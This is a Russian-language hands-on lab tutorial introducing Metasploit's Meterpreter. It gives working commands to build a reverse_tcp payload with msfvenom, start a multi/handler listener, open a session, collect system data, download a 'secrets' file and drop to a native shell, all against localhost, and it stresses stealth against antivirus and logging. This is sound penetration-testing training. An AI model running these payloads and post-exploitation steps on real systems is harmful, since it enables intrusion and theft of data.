Введение

Добро пожаловать в лабораторную работу «Введение в Meterpreter».

Meterpreter — это продвинутая, динамически расширяемая полезная нагрузка, являющаяся частью фреймворка Metasploit. В отличие от базовой командной оболочки, которая просто перенаправляет стандартный ввод и вывод в системный интерпретатор (например, /bin/bash), Meterpreter предоставляет богатую интерактивную среду управления. Он работает исключительно в оперативной памяти, что означает, что он ничего не записывает на жесткий диск цели. Это делает его крайне скрытным и затрудняет обнаружение традиционным антивирусным программным обеспечением.

Важность Meterpreter заключается в том, что он превращает обычную оболочку в полноценную платформу для сессий. Вместо простой отправки текстовых команд в операционную систему вы получаете встроенные возможности для сбора информации, взаимодействия с файлами, маршрутизации и выполнения задач пост-эксплуатации.

В этой лабораторной работе вы пройдете весь путь: от создания полезной нагрузки Meterpreter и настройки слушателя для перехвата входящего соединения до взаимодействия с скомпрометированной системой. Вы изучите встроенные команды для сбора системных данных, навигации по файловой системе без использования штатных бинарных файлов ОС и, при необходимости, перехода в нативную системную оболочку.

Развертывание полезной нагрузки Meterpreter

На этом этапе вы создадите полезную нагрузку Meterpreter и настроите слушатель для установления соединения. Мы будем использовать msfvenom, автономный генератор полезных нагрузок из состава Metasploit Framework, для создания исполняемого файла, содержащего наш Meterpreter.

Сначала убедитесь, что вы находитесь в своей рабочей директории по умолчанию. Вы создадите исполняемую полезную нагрузку для Linux, настроенную на обратное соединение с вашей локальной машиной («обратная оболочка» или reverse shell). Выполните следующую команду для создания файла payload.elf:

Этот этап генерации превращает параметры полезной нагрузки в реальность. LHOST и LPORT — это не абстрактные настройки; они точно определяют, как сессия будет пытаться связаться с вами.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

Если вы впервые используете Metasploit в текущей лабораторной среде, перед генерацией полезной нагрузки msfvenom может запросить начальную настройку. Когда вас спросят, хотите ли вы создать новую базу данных, ответьте yes и дождитесь завершения настройки. После этого msfvenom продолжит работу и сохранит файл payload.elf.

После создания полезной нагрузки необходимо сделать ее исполняемой, чтобы система могла ее запустить. Используйте команду chmod для добавления прав на выполнение:

chmod +x payload.elf

Далее необходимо настроить слушатель для перехвата соединения при запуске полезной нагрузки. Мы создадим скрипт ресурсов для автоматизации конфигурации консоли Metasploit (msfconsole). Создайте файл listener.rc с необходимыми параметрами:

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

Теперь запустите консоль Metasploit, используя созданный скрипт ресурсов. Флаг -q запускает ее в тихом режиме (без приветственного баннера), а -r указывает на выполнение вашего скрипта:

msfconsole -q -r listener.rc

Вы увидите вывод, подтверждающий, что обработчик обратного TCP-соединения запущен на 127.0.0.1:4444.

Чтобы выполнить полезную нагрузку, оставив слушатель запущенным, вам нужно открыть новую вкладку терминала. В интерфейсе LabEx нажмите на значок + над терминалом, чтобы открыть новое окно. В этом новом терминале выполните полезную нагрузку:

./payload.elf

Вернитесь в первую вкладку терминала. Вы должны увидеть сообщение Meterpreter session 1 opened. Нажмите Enter, чтобы получить приглашение msf6 >, а затем подключитесь к сессии, введя:

sessions -i 1

Теперь вы увидите приглашение meterpreter >, что означает успешное развертывание и подключение к полезной нагрузке Meterpreter.

Получение системной информации (sysinfo)

На этом этапе вы будете использовать встроенные команды Meterpreter для сбора информации о скомпрометированной системе. Поскольку Meterpreter работает в памяти и имеет собственный набор команд, вам не нужно полагаться на нативные команды Linux целевой системы (такие как uname или whoami) для получения этих данных.

Этот встроенный набор команд — одна из причин, почему сессии Meterpreter так ценны. Многие типичные задачи оператора можно выполнить, не переходя сразу в нативную оболочку.

Убедитесь, что вы находитесь в приглашении meterpreter > из предыдущего шага. Если нет, убедитесь, что вы подключились к сессии с помощью sessions -i 1.

Чтобы получить базовую системную информацию, такую как имя компьютера, операционная система, архитектура и версия Meterpreter, введите следующую команду:

sysinfo

Вы увидите вывод, похожий на этот:

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

Далее вы можете определить, под какой учетной записью пользователя в данный момент работает полезная нагрузка Meterpreter. Это критически важно для понимания вашего уровня привилегий в целевой системе. Выполните следующую команду:

getuid

В выводе отобразится имя пользователя сервера, которое в данной среде должно быть labex:

Server username: labex

Эти команды демонстрируют, как Meterpreter позволяет быстро оценить скомпрометированную среду, не вызывая системного логирования, которое могло бы отслеживать выполнение нативных команд.

Навигация по файловой системе цели

На этом этапе вы изучите файловую систему цели с помощью встроенных команд управления файлами Meterpreter. Эти команды работают аналогично стандартным командам Linux, но выполняются полностью внутри сессии Meterpreter, что добавляет дополнительный уровень скрытности.

Взаимодействие с файловой системой — это ключевая активность пост-эксплуатации, так как многие цели в конечном итоге зависят от поиска, чтения или извлечения артефактов с хоста.

Из приглашения meterpreter > вы можете проверить текущую рабочую директорию с помощью команды pwd:

pwd

Вы должны увидеть /home/labex/project в качестве текущей директории. Чтобы вывести содержимое этой директории, используйте команду ls:

ls

Вы заметите директорию с именем target_data. Давайте перейдем в нее с помощью команды cd:

cd target_data

Если ls не показывает target_data, создайте необходимую папку и файл вручную в обычном терминале (не в сессии Meterpreter), а затем продолжите:

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

Выведите содержимое директории target_data, чтобы найти файлы внутри:

ls

Вы должны увидеть файл secrets.txt. Вы можете прочитать содержимое этого файла прямо внутри Meterpreter с помощью команды cat:

cat secrets.txt

Вывод покажет конфиденциальные данные, хранящиеся в файле. Часто во время оценки вам потребуется извлечь (скачать) файлы на свою локальную машину для дальнейшего анализа. Meterpreter упрощает это с помощью команды download.

Скачайте файл secrets.txt и сохраните его в своей основной директории проекта как downloaded_secrets.txt:

download secrets.txt /home/labex/project/downloaded_secrets.txt

Вы увидите сообщение с подтверждением того, что файл был успешно скачан. Это демонстрирует, как Meterpreter может беспрепятственно передавать файлы между целью и вашей локальной машиной.

Выполнение системных команд (shell)

На этом этапе вы узнаете, как перейти в нативную системную оболочку из сессии Meterpreter. Хотя Meterpreter предоставляет множество встроенных команд, бывают моменты, когда вам нужно взаимодействовать напрямую с операционной системой цели, запускать специфические скрипты или использовать нативные бинарные файлы, которые Meterpreter не поддерживает напрямую.

Чтобы открыть стандартную системную оболочку, введите следующую команду в приглашении meterpreter >:

shell

Вы заметите, что приглашение изменилось или исчезло, что означает, что теперь вы взаимодействуете напрямую с оболочкой /bin/sh или /bin/bash целевой системы.

Теперь, находясь в нативной оболочке, вы можете выполнять стандартные команды Linux. Давайте создадим файл, чтобы доказать, что у нас есть возможности выполнения на уровне системы. Выполните следующую команду для создания файла hacked.txt в вашей директории проекта:

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

Вы можете убедиться, что файл был создан, прочитав его с помощью команды cat:

cat /home/labex/project/hacked.txt

В выводе отобразится hacked by meterpreter.

Как только вы закончите выполнение нативных системных команд, вы можете вернуться в скрытную сессию Meterpreter. Для этого просто введите exit и нажмите Enter:

exit

Вы вернетесь в приглашение meterpreter >. Эта способность беспрепятственно переключаться между скрытной резидентной средой и полноценной системной оболочкой делает Meterpreter невероятно универсальным инструментом.

Резюме

Поздравляем! Вы успешно завершили лабораторную работу «Введение в Meterpreter».

В этой работе вы узнали, как генерировать полезную нагрузку Meterpreter с помощью msfvenom и настраивать слушатель с помощью msfconsole. Вы также научились извлекать критически важную системную информацию и данные о пользователе с помощью встроенных команд sysinfo и getuid. Кроме того, вы попрактиковались в скрытной навигации по файловой системе цели и извлечении данных с помощью команды download. Наконец, вы узнали, как переходить в нативную системную оболочку для выполнения команд уровня ОС и беспрепятственно возвращаться в сессию Meterpreter.

Эти фундаментальные навыки формируют основу деятельности по пост-эксплуатации, позволяя вам эффективно сохранять контроль, собирать разведданные и манипулировать скомпрометированными системами.